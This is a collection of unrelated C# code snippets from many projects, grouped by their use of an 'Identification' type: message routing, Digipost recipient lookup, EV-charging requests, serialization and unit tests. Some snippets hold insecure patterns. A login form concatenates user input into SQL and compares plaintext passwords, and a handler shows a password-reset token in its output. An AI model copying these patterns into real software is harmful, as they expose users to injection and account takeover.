/// <summary> /// Gets the specified identification. /// </summary> /// <param name="identification">The identification.</param> /// <returns></returns> public Subscriptor Get(Identification identification) { Subscriptor subscriptor = default(Subscriptor); _subscriptors.TryGetValue(identification, out subscriptor); return subscriptor; }
/// <summary> /// Initializes a new instance of the <see cref="ErrorHandlingController"/> class. /// </summary> /// <param name="outputGateway">The output gateway.</param> /// <param name="identification">The identification.</param> internal ErrorHandlingController(IOutputGateway<IMessage> outputGateway, Identification identification) { _outputGateway = outputGateway; _identification = identification; _agentErrorHandlings = new List<IAgentErrorHandling>(); _routerErrorHandlings = new List<IRouterErrorHandling>(); }
/// <summary> /// Initializes a new instance of the <see cref="MessageHeader" /> class. /// </summary> public MessageHeader() { IdentificationService = new Identification(); CreatedAt = DateTime.UtcNow; CallContext = new Session(); CallStack = new Stack<CallerContext>(); MessageId = Guid.NewGuid(); }
public async Task<ActionResult> IdentifyById(IdentifyModel identifyModel) { var identification = new Identification(new RecipientById(identifyModel.IdentificationType, identifyModel.IdentificationValue)); var result = await _digipostService.Identify(identification); return PartialView("IdentificationResult", result); }
public async Task<ActionResult> IdentifyByNameAndAddress(IdentifyModel identifyModel) { var identification = new Identification(new RecipientByNameAndAddress(identifyModel.FullName, identifyModel.AddressLine1, identifyModel.PostalCode, identifyModel.City)); var result = await _digipostService.Identify(identification); return PartialView("IdentificationResult", result); }
/// <summary> /// Creates the router processor. /// </summary> /// <param name="identification">The identification.</param> /// <param name="inputGateway">The input gateway.</param> /// <param name="routerOutputHelper">The router output helper.</param> /// <returns></returns> public static IProcessor CreateRouterProcessor(Identification identification, IInputGateway<byte[], RouterHeader> inputGateway, IRouterOutputHelper routerOutputHelper) { return new RouterProcessor(identification, inputGateway, routerOutputHelper) { Logger = LoggerManager.Instance }; }
/// <summary> /// Initializes a new instance of the <see cref="MessageHeader" /> class. /// </summary> /// <param name="identificationService">The identification service.</param> /// <param name="callContext">The call context.</param> /// <param name="callStack">The call stack.</param> /// <param name="createdAt">The created at.</param> private MessageHeader(Identification identificationService, Session callContext, Stack<CallerContext> callStack, DateTime createdAt) { IdentificationService = identificationService; CallContext = callContext; CallStack = callStack; CreatedAt = createdAt; MessageId = Guid.NewGuid(); }
public void SetUp() { _identification = new Identification { Id = "Test", Type = "Test_Type" }; _senderMessageFake = new Mock<IOutputGateway<byte[]>>(); _senderIMessage = new Mock<IOutputGateway<byte[]>>(); _senderIMessageFake = new Mock<IOutputGateway<byte[]>>(); _subscriptionKey = SubscriptionKeyMessageFactory.CreateFromType(typeof(MessageFake)).ToSubscriptorKey(); _key = string.Format("{0},{1}", typeof(MessageFake).FullName, typeof(MessageFake).Assembly.GetName().Name); }
/// <summary> /// Creates the router control processor. /// </summary> /// <param name="identification">The identification.</param> /// <param name="inputGateway">The input gateway.</param> /// <param name="handlerRepository">The handler repository.</param> /// <param name="subscriptorsHelper">The subscriptors helper.</param> /// <returns></returns> public static IController CreateRouterControlProcessor(Identification identification, IInputGateway<IControlMessage, MessageHeader> inputGateway, IHandlerRepository handlerRepository, ISubscriptorsHelper subscriptorsHelper) { IMessageBuilder defaultObjectBuilder = MessageBuilderFactory.CreateDefaultBuilder(); return new RouterControlProcessor(identification, inputGateway, handlerRepository, subscriptorsHelper, defaultObjectBuilder) { Logger = LoggerManager.Instance }; }
private void testDigipost() { var identification = new Identification(IdentificationChoiceType.PersonalidentificationNumber, "31108446911"); try { var response = GetClient().Identify(identification); } catch (Exception e) { logger.Error(TraceEventType.Error, e); throw; } }
/// <summary> /// Initializes a new instance of the <see cref="RouterProcessor" /> class. /// </summary> /// <param name="identification">The identification.</param> /// <param name="inputGateway">The message receiver.</param> /// <param name="routerOutputHelper">The bus sender helper.</param> internal RouterProcessor(Identification identification, IInputGateway<byte[], RouterHeader> inputGateway, IRouterOutputHelper routerOutputHelper) { JoinedBusInfo = BusInfo.Create(); ConfigureStateMachine(); _inputGateway = inputGateway; _identification = identification; _routerOutputHelper = routerOutputHelper; _inputGateway.OnMessage += MessageReceived; _stateMachine.ChangeState(ProcessorStatus.Configured); _serializer = new JsonDataContractSerializer(); }
/// <summary> /// Initializes a new instance of the <see cref="RouterControlProcessor" /> class. /// </summary> /// <param name="identification">The identification.</param> /// <param name="inputGateway">The input gateway.</param> /// <param name="handlerRepository">The handler repository.</param> /// <param name="subscriptonsHelper">The subscriptors helper.</param> /// <param name="messageBuilder">The message builder.</param> internal RouterControlProcessor(Identification identification, IInputGateway<IControlMessage, MessageHeader> inputGateway, IHandlerRepository handlerRepository, ISubscriptorsHelper subscriptonsHelper, IMessageBuilder messageBuilder) { ConfigureStateMachine(); _identification = identification; _inputGateway = inputGateway; _inputGateway.OnMessage += MessageReceived; _handlerRepository = handlerRepository; _subscriptonsHelper = subscriptonsHelper; _subscriptonsHelper.Controller = this; _messageBuilder = messageBuilder; }
/// <summary> /// Creates the control processor. /// </summary> /// <param name="identification">The identification.</param> /// <param name="inputGateway">The input gateway.</param> /// <param name="outputGateway">The output gateway.</param> /// <param name="handlerRepository">The handler repository.</param> /// <returns></returns> public static IController CreateControlProcessor(Identification identification, IInputGateway<IControlMessage, MessageHeader> inputGateway, IOutputGateway<IControlMessage> outputGateway, IHandlerRepository handlerRepository) { return new ControlProcessor(identification, inputGateway, outputGateway, handlerRepository, MessageBuilderFactory.CreateDefaultBuilder(), ReinjectionEngineFactory.CreateDefaultEngine(inputGateway)) { Logger = LoggerManager.Instance }; }
public void Contains_Susbscriptor() { var identification = new Identification { Id = "A", Type = "B" }; var subscriptor = new Subscriptor { Service = identification, ServiceInputControlGateway = _mockGateWayControl.Object, ServiceInputGateway = _mockGateWayMessageBus.Object }; using (var subject = new MemorySubscriptorsRepository()) { subject.Add(subscriptor); Assert.IsTrue(subject.Contains(identification)); } }
public void Dispose_Susbscriptor() { var identification = new Identification { Id = "A", Type = "B" }; var subscriptor = new Subscriptor { Service = identification, ServiceInputControlGateway = _mockGateWayControl.Object, ServiceInputGateway = _mockGateWayMessageBus.Object }; using (var subject = new MemorySubscriptorsRepository()) { subject.Add(subscriptor); } _mockGateWayMessageBus.Verify(x => x.Dispose()); _mockGateWayControl.Verify(x => x.Dispose()); }
private void DecodePacket0(Identification aOggHeaderIdentification, Setup aOggHeaderSetup) { CodebookHeader lCodebookHeader = aOggHeaderSetup.codebook.headerArray[classbook]; // Check 61. int n = ( int )partitionSizeAdd1; //[v] is the residue vector //[offset] is the beginning read ofset in [v] int step = n / lCodebookHeader.dimensions; for (int i = 0; i < step; i++) { //vector[entry_temp] = 0;//read vector from packet using current codebook in VQ context for (int j = 0; j < lCodebookHeader.dimensions; j++) { //vector [v] element ([offset]+[i]+[j]*[step]) = vector [v] element ([offset]+[i]+[j]*[step]) + vector [entry\_temp] element [j] } } }
public override string GetStepParameters() { var parameters = new List <string>(); parameters.Add(GlobalId != null ? GlobalId.ToStepValue() : "$"); parameters.Add(OwnerHistory != null ? OwnerHistory.ToStepValue() : "$"); parameters.Add(Name != null ? Name.ToStepValue() : "$"); parameters.Add(Description != null ? Description.ToStepValue() : "$"); parameters.Add(ObjectType != null ? ObjectType.ToStepValue() : "$"); parameters.Add(Identification != null ? Identification.ToStepValue() : "$"); parameters.Add(OriginalValue != null ? OriginalValue.ToStepValue() : "$"); parameters.Add(CurrentValue != null ? CurrentValue.ToStepValue() : "$"); parameters.Add(TotalReplacementCost != null ? TotalReplacementCost.ToStepValue() : "$"); parameters.Add(Owner != null ? Owner.ToStepValue() : "$"); parameters.Add(User != null ? User.ToStepValue() : "$"); parameters.Add(ResponsiblePerson != null ? ResponsiblePerson.ToStepValue() : "$"); parameters.Add(IncorporationDate != null ? IncorporationDate.ToStepValue() : "$"); parameters.Add(DepreciatedValue != null ? DepreciatedValue.ToStepValue() : "$"); return(string.Join(", ", parameters.ToArray())); }
/// <summary> /// Creates the specified identification. /// </summary> /// <param name="identification">The identification.</param> /// <param name="message">The message.</param> /// <param name="dataContractSerializer">The data contract serializer.</param> /// <returns></returns> public static MessageBus Create(Identification identification, IMessage message, IDataContractSerializer dataContractSerializer) { var messageBus = new MessageBus { Header = { CreatedAt = DateTime.UtcNow, IdentificationService = { Id = identification.Id, Type = identification.Type }, BodyType = GetKey(message.GetType()), Type = MessageBusType.Generic, EncodingCodePage = dataContractSerializer.Encoding.CodePage }, Body = dataContractSerializer.Serialize(message) }; return messageBus; }
public virtual async Task<IIdentificationResult> Identify(Identification identification) { IIdentificationResult result = null; Logger.Debug("Inside Identify("+identification.ToString()+")"); try { result = await GetClient().IdentifyAsync(identification); } catch (ClientResponseException cre) { Logger.Error(cre.Message, cre); throw; } catch (Exception e) { Logger.Error(e.Message, e); throw; } return result; }
private static void OnMessage(object sender, MessageEventArgs e) { switch (Identification.TypeOfData(e.Data)) { case "ROOM": var room = JsonUtility.FromJson <Room>(e.Data); codeRoomValue = room.value; multideviceValue = room.multidevice; Debug.Log("codeR " + codeRoomValue); Debug.Log("eData : " + e.Data); break; case "GOUV": var gouvernmentData = JsonUtility.FromJson <Gouvernment>(e.Data); gouvernmentData.notification = JsonUtility.FromJson <GouvernmentNotification>(Utilities.Convert.ObjectToString(gouvernmentData.notification)); Debug.Log(gouvernmentData.notification.label); break; } }
private static Identification GetIdentification(XmlNode document) { var identificationNode = document.SelectSingleNode("Score-partwise/identification"); if (identificationNode != null) { var identification = new Identification(); var composerNode = identificationNode.SelectSingleNode("creator[@type='composer']"); identification.Composer = composerNode != null ? composerNode.InnerText : string.Empty; var rightsNode = identificationNode.SelectSingleNode("rights"); identification.Rights = rightsNode != null ? rightsNode.InnerText : string.Empty; identification.Encoding = GetEncoding(identificationNode); return(identification); } return(null); }
public void IdentifyRecipient() { var identification = new Identification(new RecipientById(IdentificationType.PersonalIdentificationNumber, "211084xxxxx")); var identificationResponse = client.Identify(identification); if (identificationResponse.ResultType == IdentificationResultType.DigipostAddress) { //Exist as user in Digipost. //If you used personal identification number to identify - use this to send a message to this individual. //If not, see Data field for DigipostAddress. } else if (identificationResponse.ResultType == IdentificationResultType.Personalias) { //The person is identified but does not have an active Digipost account. //You can continue to use this alias to check the status of the user in future calls. } else if (identificationResponse.ResultType == IdentificationResultType.InvalidReason || identificationResponse.ResultType == IdentificationResultType.UnidentifiedReason) { //The person is NOT identified. Check Error for more details. } }
SendChargingNotificationsStart(this ICPOClient CPOClient, Session_Id SessionId, Identification Identification, EVSE_Id EVSEId, DateTime ChargingStart, CPOPartnerSession_Id? CPOPartnerSessionId = null, EMPPartnerSession_Id? EMPPartnerSessionId = null, DateTime? SessionStart = null, Decimal? MeterValueStart = null, Operator_Id? OperatorId = null, PartnerProduct_Id? PartnerProductId = null, JObject CustomData = null, DateTime? Timestamp = null, CancellationToken? CancellationToken = null, EventTracking_Id EventTrackingId = null, TimeSpan? RequestTimeout = null) => CPOClient.SendChargingStartNotification( new ChargingStartNotificationRequest( SessionId, Identification, EVSEId, ChargingStart, CPOPartnerSessionId, EMPPartnerSessionId, SessionStart, MeterValueStart, OperatorId, PartnerProductId, CustomData, Timestamp, CancellationToken, EventTrackingId, RequestTimeout ?? CPOClient.RequestTimeout));
public DbModel.Flight Convert() { var flight = new DbModel.Flight(); if (Identification != null) { flight.Identification = Identification.Convert(); } if (Status != null) { flight.Status = Status.Convert(); } if (Aircraft != null) { flight.Aircraft = Aircraft.Convert(); } if (Airline != null) { flight.Airline = Airline.Convert(); } if (Airport != null) { flight.Airport = Airport.Convert(); } if (Time != null) { flight.Time = Time.Convert(); } if (Trail != null) { flight.Trails = Trail.ConvertAll <DbModel.Trail>(t => t.Convert()); } if (FirstTimestamp != null) { flight.FirstTimestamp = FirstTimestamp; } return(flight); }
private void buttonUpdate_Click(object sender, EventArgs e) { IRestriction rIds = RestrictionFactory.TypeRestriction(typeof(Identification)); IRestriction rUnits = RestrictionFactory.TypeRestriction(typeof(IdentificationUnit)); IList <Identification> idents_mob = mobileDBSerializer.Connector.LoadList <Identification>(rIds); IList <Identification> idents_rep = new List <Identification>(); IList <IdentificationUnit> units_mob = mobileDBSerializer.Connector.LoadList <IdentificationUnit>(rUnits); IList <IdentificationUnit> units_rep = new List <IdentificationUnit>(); foreach (Identification mobi in idents_mob) { IRestriction r = RestrictionFactory.Eq(typeof(Identification), "_guid", mobi.Rowguid); Identification partner = repositorySerializer.Connector.Load <Identification>(r); if (partner == null) { MessageBox.Show(mobi.Rowguid.ToString()); } else { if (mobi.IdentificationDate != partner.IdentificationDate) { idents_rep.Add(partner); } } } //foreach (IdentificationUnit mobi in units_mob) //{ // IRestriction r = RestrictionFactory.Eq(typeof(IdentificationUnit), "_guid", mobi.Rowguid); // IdentificationUnit partner = repositorySerializer.Connector.Load<IdentificationUnit>(r); // if (partner == null) // MessageBox.Show(mobi.Rowguid.ToString()); // else // { // units_rep.Add(partner); // } //} MessageBox.Show("Success"); }
/// <summary> /// Returns true if Branch instances are equal /// </summary> /// <param name="other">Instance of Branch to be compared</param> /// <returns>Boolean</returns> public bool Equals(Branch other) { if (ReferenceEquals(null, other)) { return(false); } if (ReferenceEquals(this, other)) { return(true); } return (( Identification == other.Identification || Identification != null && Identification.Equals(other.Identification) ) && ( PostalAddresses == other.PostalAddresses || PostalAddresses != null && PostalAddresses.Equals(other.PostalAddresses) ) && ( Availability == other.Availability || Availability != null && Availability.Equals(other.Availability) ) && ( Phones == other.Phones || Phones != null && Phones.SequenceEqual(other.Phones) ) && ( Services == other.Services || Services != null && Services.SequenceEqual(other.Services) )); }
//protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder) //{ // { // if (optionsBuilder.IsConfigured == false) // { // optionsBuilder.UseSqlServer( // @"Data Source=(localdb)\\mssqllocaldb;Initial Catalog=AlugaSeDB; // Integrated Security=True;"); // } // base.OnConfiguring(optionsBuilder); // } //} //protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder) //{ // //var _optionsBuilder = new DbContextOptionsBuilder<AlugaSeContext>(); // //_optionsBuilder.UseSqlServer("Data Source=(LocalDB)\\MSSQLLocalDB;DataBase=AlugaSeDatabase;Integrated Security=True;Connect Timeout=30"); // //base.OnConfiguring(_optionsBuilder); // //optionsBuilder.UseSqlServer(Properties.Resources. // // ResourceManager.GetString("DbConnectionString")); //} protected override void OnModelCreating(ModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); modelBuilder .Entity <Vendor>() .Property(gender => gender.Gender) .HasConversion( gender => gender.ToString(), gender => Gender.Parse(gender)) .HasColumnName("Gender"); modelBuilder .Entity <Vendor>() .Property(identification => identification.Identification) .HasConversion( identification => identification.ToString(), identification => Identification.Parse(identification)) .HasColumnName("Identification"); modelBuilder .Entity <Customer>() .Property(gender => gender.Gender) .HasConversion( gender => gender.ToString(), gender => Gender.Parse(gender)) .HasColumnName("Gender"); modelBuilder .Entity <Customer>() .Property(identification => identification.Identification) .HasConversion( identification => identification.ToString(), identification => Identification.Parse(identification)) .HasColumnName("Identification"); Seeding(modelBuilder); }
public void IdentificationByNameAndAddress() { //Arrange var source = new Identification( new RecipientByNameAndAddress("Ola Nordmann", "Osloveien 22", "0001", "Oslo") { AddressLine2 = "Adresselinje2", BirthDate = DateTime.Today, PhoneNumber = "123456789", Email = "*****@*****.**" } ); var sourceRecipient = (RecipientByNameAndAddress)source.DigipostRecipient; var expectedDto = new identification { ItemElementName = ItemChoiceType.nameandaddress, Item = new nameandaddress { fullname = sourceRecipient.FullName, addressline1 = sourceRecipient.AddressLine1, addressline2 = sourceRecipient.AddressLine2, postalcode = sourceRecipient.PostalCode, city = sourceRecipient.City, birthdate = sourceRecipient.BirthDate.Value, birthdateSpecified = true, phonenumber = sourceRecipient.PhoneNumber, emailaddress = sourceRecipient.Email } }; //Act var actualDto = DataTransferObjectConverter.ToDataTransferObject(source); //Assert Comparator.AssertEqual(expectedDto, actualDto); }
static void Main(string[] args) { bool running = true; while (running) { Console.Clear(); Console.WriteLine("---=[ Computer Repair Toolkit ]=---\n"); // The PC ID should be unique for the hardare of the computer var pcId = Identification.GetMotherBoardID(); Console.WriteLine("PC ID: " + pcId + "\n"); Console.WriteLine(" c. Connect to central CRT server"); Console.WriteLine(" r. Go to the report menu"); Console.WriteLine(" t. Go to the task menu"); Console.WriteLine(" q. Quit"); var key = Console.ReadKey(); switch (key.Key) { case ConsoleKey.C: Connect(); Console.Clear(); break; case ConsoleKey.R: Reporting(); break; case ConsoleKey.T: throw new NotImplementedException(); case ConsoleKey.Q: running = false; break; } } }
/// <summary> /// Return a XML representation of this object. /// </summary> /// <param name="CustomAuthorizeRemoteReservationStartRequestSerializer">A delegate to customize the serialization of AuthorizeRemoteReservationStart requests.</param> /// <param name="CustomIdentificationSerializer">A delegate to serialize custom Identification XML elements.</param> public XElement ToXML(CustomXMLSerializerDelegate <AuthorizeRemoteReservationStartRequest> CustomAuthorizeRemoteReservationStartRequestSerializer = null, CustomXMLSerializerDelegate <Identification> CustomIdentificationSerializer = null) { var XML = new XElement(OICPNS.Reservation + "eRoamingAuthorizeRemoteReservationStart", SessionId.HasValue ? new XElement(OICPNS.Reservation + "SessionID", SessionId.ToString()) : null, CPOPartnerSessionId.HasValue ? new XElement(OICPNS.Reservation + "CPOPartnerSessionID", CPOPartnerSessionId.ToString()) : null, EMPPartnerSessionId.HasValue ? new XElement(OICPNS.Reservation + "EMPPartnerSessionID", EMPPartnerSessionId.ToString()) : null, new XElement(OICPNS.Reservation + "ProviderID", ProviderId.ToString()), new XElement(OICPNS.Reservation + "EVSEID", EVSEId.ToString()), Identification.ToXML(OICPNS.Reservation + "Identification", CustomIdentificationSerializer), PartnerProductId.HasValue ? new XElement(OICPNS.Reservation + "PartnerProductID", PartnerProductId.ToString()) : null, Duration.HasValue ? new XElement(OICPNS.Reservation + "Duration", Convert.ToInt32(Math.Round(Duration.Value.TotalMinutes, 0))) : null ); return(CustomAuthorizeRemoteReservationStartRequestSerializer != null ? CustomAuthorizeRemoteReservationStartRequestSerializer(this, XML) : XML); }
private void SendPasswordReset(IOwinContext context, Identification identification) { var form = context.Request.ReadFormAsync().Result; var userName = form["username"]; if (userName == null) { SetOutcome(context, identification, "No user name provided"); } else { var token = _tokenStore.CreateToken("passwordReset", new[] { "ResetPassword" }, userName); var session = context.GetFeature <ISession>(); if (session != null) { session.Set("reset-token", token); } SetOutcome(context, identification, "Password reset token is: " + token); } GoHome(context, identification); }
/// <summary> /// Compares two authorize remote start requests for equality. /// </summary> /// <param name="AuthorizeRemoteStartRequest">An authorize remote start request to compare with.</param> /// <returns>True if both match; False otherwise.</returns> public override Boolean Equals(AuthorizeRemoteStartRequest AuthorizeRemoteStartRequest) { if (AuthorizeRemoteStartRequest is null) { return(false); } return(ProviderId.Equals(AuthorizeRemoteStartRequest.ProviderId) && EVSEId.Equals(AuthorizeRemoteStartRequest.EVSEId) && Identification.Equals(AuthorizeRemoteStartRequest.Identification) && ((!SessionId.HasValue && !AuthorizeRemoteStartRequest.SessionId.HasValue) || (SessionId.HasValue && AuthorizeRemoteStartRequest.SessionId.HasValue && SessionId.Value.Equals(AuthorizeRemoteStartRequest.SessionId.Value))) && ((!CPOPartnerSessionId.HasValue && !AuthorizeRemoteStartRequest.CPOPartnerSessionId.HasValue) || (CPOPartnerSessionId.HasValue && AuthorizeRemoteStartRequest.CPOPartnerSessionId.HasValue && CPOPartnerSessionId.Value.Equals(AuthorizeRemoteStartRequest.CPOPartnerSessionId.Value))) && ((!EMPPartnerSessionId.HasValue && !AuthorizeRemoteStartRequest.EMPPartnerSessionId.HasValue) || (EMPPartnerSessionId.HasValue && AuthorizeRemoteStartRequest.EMPPartnerSessionId.HasValue && EMPPartnerSessionId.Value.Equals(AuthorizeRemoteStartRequest.EMPPartnerSessionId.Value))) && ((!PartnerProductId.HasValue && !AuthorizeRemoteStartRequest.PartnerProductId.HasValue) || (PartnerProductId.HasValue && AuthorizeRemoteStartRequest.PartnerProductId.HasValue && PartnerProductId.Value.Equals(AuthorizeRemoteStartRequest.PartnerProductId.Value)))); }
/// <summary> /// Returns true if PhoneChannel instances are equal /// </summary> /// <param name="other">Instance of PhoneChannel to be compared</param> /// <returns>Boolean</returns> public bool Equals(PhoneChannel other) { if (ReferenceEquals(null, other)) { return(false); } if (ReferenceEquals(this, other)) { return(true); } return (( Identification == other.Identification || Identification != null && Identification.Equals(other.Identification) ) && ( Services == other.Services || Services != null && Services.SequenceEqual(other.Services) )); }
public void Read(ByteArray aByteArray, Byte aType) { Logger.LogDebug("Header Type:0x" + aType.ToString("X2")); switch (aType) { case IDENTIFICATION: identification = new Identification(aByteArray); break; case COMMENT: comment = new Comment(aByteArray); break; case SETUP: setup = new Setup(aByteArray); break; default: Logger.LogError("The Header ID Is Not Defined:" + aType.ToString("X2")); break; } }
//验证用户登录 private void DoLogin_Click(object sender, EventArgs e) { DBlink db = new DBlink(); //创建数据库连接对象 Identification.identification(identity.SelectedIndex); //根据用户选择的值判断用户身份 if (db.DBconn()) { //数据库连接成功 if (db.GetLoginData("select * from login_info where id_tag='" + Globel.id_tag + "'and username='******'")) { //用户存在 if (int.Parse(LoginInfo.tag) == 1) //账号已被审核允许登录 { if (Tpass.Text.Equals(LoginInfo.password)) //登录成功 { Globel.username = Tusername.Text; new MainMenu().ShowDialog();//显示主菜单界面 this.Hide(); this.Visible = false; } else //密码错误 { label6.Text = "密码错误!"; } } else //账号未审核 { label6.Text = "该账号未审核,请联系管理员"; } } else { label6.Text = "登录失败,用户名不存在!"; } } db.DBclose();//关闭数据库连接 }
private void ChangePassword(IOwinContext context, Identification identification) { var form = context.Request.ReadFormAsync().Result; var result = _identityStore.AuthenticateWithCredentials(form["username"], form["password"]); if (result.Status == AuthenticationStatus.Authenticated) { var credential = _identityStore.GetRememberMeCredential(result.RememberMeToken); if (credential == null) { SetOutcome(context, identification, "Internal error, remember me token was not valid"); } else { try { if (_identityStore.ChangePassword(credential, form["new-password"])) { SetOutcome(context, identification, "Password changed"); } else { SetOutcome(context, identification, "Password was not changed"); } } catch (InvalidPasswordException e) { SetOutcome(context, identification, "Invalid password. " + e.Message); } } } else { SetOutcome(context, identification, "Login failed"); } GoHome(context, identification); }
public override string GetStepParameters() { var parameters = new List <string>(); parameters.Add(Identification != null ? Identification.ToStepValue() : "$"); parameters.Add(Name != null ? Name.ToStepValue() : "$"); parameters.Add(Description != null ? Description.ToStepValue() : "$"); parameters.Add(Location != null ? Location.ToStepValue() : "$"); parameters.Add(Purpose != null ? Purpose.ToStepValue() : "$"); parameters.Add(IntendedUse != null ? IntendedUse.ToStepValue() : "$"); parameters.Add(Scope != null ? Scope.ToStepValue() : "$"); parameters.Add(Revision != null ? Revision.ToStepValue() : "$"); parameters.Add(DocumentOwner != null ? DocumentOwner.ToStepValue() : "$"); parameters.Add(Editors != null ? Editors.ToStepValue() : "$"); parameters.Add(CreationTime != null ? CreationTime.ToStepValue() : "$"); parameters.Add(LastRevisionTime != null ? LastRevisionTime.ToStepValue() : "$"); parameters.Add(ElectronicFormat != null ? ElectronicFormat.ToStepValue() : "$"); parameters.Add(ValidFrom != null ? ValidFrom.ToStepValue() : "$"); parameters.Add(ValidUntil != null ? ValidUntil.ToStepValue() : "$"); parameters.Add(Confidentiality.ToStepValue()); parameters.Add(Status.ToStepValue()); return(string.Join(", ", parameters.ToArray())); }
public void Given_AValidId_WhenValidating_Then_AllIdentificationPropertiesShouldBePopulated() { //Arrange const string id = "8502076289187"; string validationMessage; var expectedIdentification = new Identification { Identifier = id, Citizenship = "Permanet Resident", DateOfBirth = new DateTime(1985, 2, 7), Gender = "Male" }; //Act var actualIdentification = _identificationService.Validate(id, out validationMessage); //Assert Assert.IsNotNull(actualIdentification); Assert.AreEqual(string.Empty, validationMessage); Assert.AreEqual(expectedIdentification.Identifier, actualIdentification.Identifier); Assert.AreEqual(expectedIdentification.Gender, actualIdentification.Gender); Assert.AreEqual(expectedIdentification.Citizenship, actualIdentification.Citizenship); Assert.AreEqual(expectedIdentification.DateOfBirth, actualIdentification.DateOfBirth); }
/// <summary> /// Reloads the assignable types. /// </summary> /// <param name="subscriptionKey">The subscription key.</param> /// <param name="service">The service.</param> /// <param name="outputGateway">The output gateway.</param> private void ReloadAssignableTypes(SubscriptionKey subscriptionKey, Identification service, IOutputGateway <byte[]> outputGateway) { //Recargamos la lista de tipos asignables bool lockTaken = false; _lockAsignableTypes.Enter(ref lockTaken); if (lockTaken) { SpinWait.SpinUntil(() => _numThreadsRunning == 0); foreach (var assignableType in _assignableTypesList) { KeyValuePair <SubscriptionKey, List <IOutputGateway <byte[]> > > key = _keyDictionary.FirstOrDefault(pair => pair.Key.Key == assignableType.Key); if (key.Key != null && key.Key.IsAssignableKey(subscriptionKey.Key)) { if (!assignableType.Value.Exists(outputGateway)) { assignableType.Value.Add(service.Type, outputGateway); } } } if (!_assignableTypesList.ContainsKey(subscriptionKey.Key)) { var loadBalancerController = new LoadBalancerController <string, IOutputGateway <byte[]> >(); _assignableTypesList.Add(subscriptionKey.Key, loadBalancerController); loadBalancerController.Add(service.Type, outputGateway); } _lockAsignableTypes.Exit(); } }
//copy SearchParam void Copy_Inter.SearchParamCopy(Identification ssp, Identification dsp) { dsp.Db_index = ssp.Db_index; dsp.Db.Db_name = string.Copy(ssp.Db.Db_name); dsp.Db.Db_path = string.Copy(ssp.Db.Db_path); dsp.Max_mod = ssp.Max_mod; dsp.Ptl.Tl_value = ssp.Ptl.Tl_value; dsp.Ptl.Isppm = ssp.Ptl.Isppm; dsp.Ftl.Tl_value = ssp.Ftl.Tl_value; dsp.Ftl.Isppm = ssp.Ftl.Isppm; dsp.Fix_mods.Clear(); for (int i = 0; i < ssp.Fix_mods.Count; i++) { dsp.Fix_mods.Add(ssp.Fix_mods[i]); } dsp.Var_mods.Clear(); for (int i = 0; i < ssp.Var_mods.Count; i++) { dsp.Var_mods.Add(ssp.Var_mods[i]); } dsp.Filter.Fdr_value = ssp.Filter.Fdr_value; }
public override string Dump() { String dump = base.Dump(); dump += "----------------------\r\n"; dump += "Identification\r\n"; foreach (string key in Identification.Keys) { String value; Identification.TryGetValue(key, out value); dump += key + ": " + value + "\r\n"; } dump += "Material\r\n"; foreach (string key in Material.Keys) { Double value; Material.TryGetValue(key, out value); dump += key + ": " + value + "\r\n"; } return(dump); }
/// <summary> /// Gets the subscriptors. /// </summary> /// <returns></returns> public IList<Subscriptor> GetSubscriptors(Identification identification) { return new List<Subscriptor>(); }
public void ValidateThatEmptyValuesAreNotAllowed() { Assert.IsNull(Identification.ValidateNaturalRuc("")); Assert.AreEqual("Field must have a value.", Identification.ErrorMessage); }
public void ValidateThatTheLastsDigitsIsValid() { Assert.IsNull(Identification.ValidateNaturalRuc("0154567898002")); Assert.AreEqual("Field does not have the last digits equal to 001.", Identification.ErrorMessage); }
public void ValidateThatTheThirdDigitIsValid() { Assert.IsNull(Identification.ValidateNaturalRuc("0164567898001")); Assert.AreEqual("Field must have the third digit less than or equal to 5.", Identification.ErrorMessage); }
public void ValidateThatTheNumberHasTheExactLenght() { Assert.IsNull(Identification.ValidateNaturalRuc("12345678901")); Assert.AreEqual("Field must be 13 digits.", Identification.ErrorMessage); }
//////////////////////////////////////////////////////////// /// <summary> /// Get the joystick information /// </summary> /// <param name="joystick">Index of the joystick</param> /// <returns>Structure containing joystick information</returns> //////////////////////////////////////////////////////////// public static Identification GetIdentification(uint joystick) { IdentificationMarshalData identification = sfJoystick_getIdentification(joystick); Identification retIdentification = new Identification(); retIdentification.Name = Marshal.PtrToStringAnsi(identification.Name); retIdentification.VendorId = identification.VendorId; retIdentification.ProductId = identification.ProductId; return retIdentification; }
protected void set_identification_widgets() { person.Refresh(); if (person.Identifications == null || person.Identifications.Count == 0 ) { identification = new Identification (); } else { identification = (Identification)person.Identifications[0]; } identification_type.Active = identification.IdentificationType; identification_number.Text = identification.IdentificationNumber; }
protected void identification_save () { if (identification == null ) { identification = new Identification(); } identification.IdentificationType = identification_type.Active as IdentificationType; identification.IdentificationNumber = identification_number.Text; identification.Person = person; if (identification.IsValid()) { identification.SaveAndFlush(); } else { Console.WriteLine( String.Join(",", identification.ValidationErrorMessages) ); new ValidationErrorsDialog (identification.PropertiesValidationErrorMessages, (Gtk.Window)this.Toplevel); } }
public void SetUp() { _mockGateWaysRepository = new Mock<IGatewaysRepository>(); _subject = new RouterOutputHelper(_mockGateWaysRepository.Object); _identification = new Identification { Id = "Test", Type = "Test_Type" }; }
/// <summary> /// Publishes the specified identification. /// </summary> /// <param name="identification">The identification.</param> /// <param name="message">The message.</param> public void Publish(Identification identification, IControlMessage message) { _subscriptonsHelper.Send(identification, message); }
/// <summary> /// Creates the service processor. /// </summary> /// <param name="identification">The identification.</param> /// <param name="inputGateway">The input gateway.</param> /// <param name="handlerRepository">The handler repository.</param> /// <param name="messageBuilder">The message builder.</param> /// <returns></returns> public static IProcessor CreateServiceProcessor(Identification identification, IInputGateway<IMessage, MessageHeader> inputGateway, IHandlerRepository handlerRepository, IMessageBuilder messageBuilder) { return new ServiceProcessor(identification, inputGateway, handlerRepository, messageBuilder, ReinjectionEngineFactory.CreateDefaultEngine(inputGateway)) { Logger = LoggerManager.Instance }; }
public void Replay_SubscriptionHelper_Send_True() { var identification = new Identification {Id = "A",Type = "B"}; var replyMessage = new FakeReplayMessage(); _subject.Reply(replyMessage); _subscriptonsHelper.Verify(x => x.Send(It.IsAny<IControlMessage>())); }
